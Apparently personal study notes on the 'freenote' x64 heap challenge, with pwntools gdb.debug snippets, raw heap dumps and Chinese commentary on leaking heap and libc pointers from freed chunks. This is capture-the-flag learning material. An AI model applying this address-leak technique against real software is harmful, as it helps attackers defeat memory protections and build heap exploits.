p=gdb.debug('./freenote_x64','''b *0x400caa
c
x/50x $rax
c
c
c
x/100x $rax-0x50
''')
notelen=0x10
new_note("A"*notelen)
new_note("B"*notelen)
new_note("C"*notelen)
new_note("D"*notelen)
delete_note(2)
delete_note(0)
new_note("AAAAAAAA")
list_note()
p.recvuntil("0. ")
0xa6f830: 0x41414141 0x41414141 0x41414141 0x41414141
0xa6f840: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f850: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f860: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f870: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f880: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f890: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f8a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f8b0: 0x00000000 0x00000000 0x00000091 0x00000000
0xa6f8c0: 0x42424242 0x42424242 0x42424242 0x42424242
0xa6f8d0: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f8e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f8f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f900: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f910: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f920: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f930: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f940: 0x00000000 0x00000000 0x00000091 0x00000000
0xa6f950: 0x43434343 0x43434343 0x43434343 0x43434343
0xa6f960: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f970: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f980: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f990: 0x00000000 0x00000000 0x00000000 0x00000000
---Type <return> to continue, or q <return> to quit---
0xa6f9a0: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f9b0: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f9c0: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f9d0: 0x00000000 0x00000000 0x00000091 0x00000000
0xa6f9e0: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6f9f0: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6fa00: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6fa10: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6fa20: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6fa30: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6fa40: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6fa50: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6fa60: 0x00000000 0x00000000 0x000205a1 0x00000000
0xa6fa70: 0x00000000 0x00000000 0x00000000 0x00000000
0xa6fa80: 0x00000000 0x00000000
0x20cc830: 0xbcbfc678 0x00007fec 0xbcbfc678 0x00007fec
0x20cc840: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc850: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc860: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc870: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc880: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc890: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc8a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc8b0: 0x00000090 0x00000000 0x00000090 0x00000000
0x20cc8c0: 0x42424242 0x42424242 0x42424242 0x42424242
0x20cc8d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc8e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc8f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc900: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc910: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc920: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc930: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc940: 0x00000000 0x00000000 0x00000091 0x00000000
0x20cc950: 0xbcbfc678 0x00007fec 0x020cc820 0x00000000 <-----要想溢出这个值,就必须重新分配这个地址。这个地址是先释放的。所以说应该是先进先出的原则。
0x20cc960: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc970: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc980: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc990: 0x00000000 0x00000000 0x00000000 0x00000000
---Type <return> to continue, or q <return> to quit---
0x20cc9a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc9b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc9c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cc9d0: 0x00000090 0x00000000 0x00000091 0x00000000
0x20cc9e0: 0x44444444 0x44444444 0x44444444 0x44444444
0x20cc9f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cca00: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cca10: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cca20: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cca30: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cca40: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cca50: 0x00000000 0x00000000 0x00000000 0x00000000
0x20cca60: 0x00000000 0x00000000 0x000205a1 0x00000000
(gdb) x/150x 0x2002830
0x2002830: 0xfbd70678 0x00007f8a 0xfbd70678 0x00007f8a
0x2002840: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002850: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002860: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002870: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002880: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002890: 0x00000000 0x00000000 0x00000000 0x00000000
0x20028a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20028b0: 0x00000090 0x00000000 0x00000091 0x00000000
0x20028c0: 0x42424242 0x42424242 0x42424242 0x42424242
0x20028d0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20028e0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20028f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002900: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002910: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002920: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002930: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002940: 0x00000000 0x00000000 0x00000091 0x00000000
0x2002950: 0x41414141 0x41414141 0x02002820 0x00000000<----折辱我们猜想的,这个先释放的会先分配,然后被A占用,输出这个字符串就可以溢出我们的堆地址。因为我们第二个释放的是堆块1,所以这里指向的的地址也就是堆块1.
0x2002960: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002970: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002980: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002990: 0x00000000 0x00000000 0x00000000 0x00000000
---Type <return> to continue, or q <return> to quit---
0x20029a0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20029b0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20029c0: 0x00000000 0x00000000 0x00000000 0x00000000
0x20029d0: 0x00000090 0x00000000 0x00000091 0x00000000
0x20029e0: 0x44444444 0x44444444 0x44444444 0x44444444
0x20029f0: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002a00: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002a10: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002a20: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002a30: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002a40: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002a50: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002a60: 0x00000000 0x00000000 0x000205a1 0x00000000
0x2002a70: 0x00000000 0x00000000 0x00000000 0x00000000
0x2002a80: 0x00000000 0x00000000
notelen=0x80
#io.sendline("c")
p=gdb.debug('./freenote_x64','''b *0x400caa
c
x/50x $rax
c
c
b *0x400d85
c
x/50x $rax
''')
new_note("A"*notelen)
new_note("B"*notelen)
delete_note(0)
new_note("\xb8")
(gdb) x/100x 0x20a1830
0x20a1830: 0xab4086b8 0x00007f17 0xab408678 0x00007f17
0x20a1840: 0x41414141 0x41414141 0x41414141 0x41414141
0x20a1850: 0x41414141 0x41414141 0x41414141 0x41414141
0x20a1860: 0x41414141 0x41414141 0x41414141 0x41414141
0x20a1870: 0x41414141 0x41414141 0x41414141 0x41414141
0x20a1880: 0x41414141 0x41414141 0x41414141 0x41414141
0x20a1890: 0x41414141 0x41414141 0x41414141 0x41414141
0x20a18a0: 0x41414141 0x41414141 0x41414141 0x41414141
0x20a18b0: 0x00000090 0x00000000 0x00000091 0x00000000
0x20a18c0: 0x42424242 0x42424242 0x42424242 0x42424242
0x20a18d0: 0x42424242 0x42424242 0x42424242 0x42424242
0x20a18e0: 0x42424242 0x42424242 0x42424242 0x42424242
0x20a18f0: 0x42424242 0x42424242 0x42424242 0x42424242
0x20a1900: 0x42424242 0x42424242 0x42424242 0x42424242
0x20a1910: 0x42424242 0x42424242 0x42424242 0x42424242
0x20a1920: 0x42424242 0x42424242 0x42424242 0x42424242
0x20a1930: 0x42424242 0x42424242 0x42424242 0x42424242
0x20a1940: 0x00000000 0x00000000 0x000206c1 0x00000000
经过对比,fastbin链表结构好像不止单链表这么简单。
我查了些资料图中p指向的地址明显是个很重要的地址,但根本没说明这个指针指向那。我通过分析发现,这个地址虽然不是libc地址,但跟libc地址相关。而且每个块释放后链接到链表后都会有个p指针,最前面的块因为没有前向指针fd,所以两个指针地址都是这里的p指针。